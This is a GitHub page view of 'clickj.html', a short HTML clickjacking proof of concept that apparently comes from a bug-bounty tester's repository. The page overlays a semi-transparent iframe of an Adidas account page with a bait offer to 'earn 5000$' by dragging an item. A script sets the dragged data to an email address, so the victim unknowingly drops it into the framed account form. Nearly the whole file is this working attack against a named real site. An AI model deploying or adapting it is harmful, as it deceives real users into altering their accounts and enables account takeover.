forked from gujjuboy10x00/gujjuboy10x00.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclickj.html
33 lines (29 loc) · 1.41 KB
/
clickj.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<title>Test</title>
</head>
<body>
This is a clickjacking example
<iframe id="top" src="https://adiuatindcentral2018.com/adidas/account/showAccount.do?execution=e1s1" width="100%" height="500"></iframe>
<img src="https://mtn-s3.imgix.net/wp-content/uploads/2016/01/04150849/Girl-with-money-281725001-Masson.jpg?auto=format%2Ccompress%2Cenhance&ixlib=php-1.1.0&w=1024&s=7ccc0beec92437e02bd0bfdcf6cf00f6" width=30 height=30 style="position: absolute; top: 200px; left: 1280px;background-color:red;" />
<div id=bottom style="position: absolute; top: 520px;background-color:red;">
<div draggable="true">click on picture and drag me to little bit up to earn 5000$</div>
</div>
<input type="button" id=submit value="Go!">
<style type="text/css">
#bottom {position: absolute; top:0px; left:0px; opacity:1.0;}
#top {position: absolute; top:0px; left:0px; opacity:0.3}
#submit {position: absolute; top:470px; left:10px; background-color:red;}
</style>
<script>
window.onload=function() {
var dragItems = document.querySelectorAll('[draggable=true]');
for (var i = 0; i < dragItems.length; i++) {
dragItems[i].addEventListener('dragstart', function (event) {
event.dataTransfer.setData('Text', '[email protected]');
});
}
};
</script>
</body>
</html>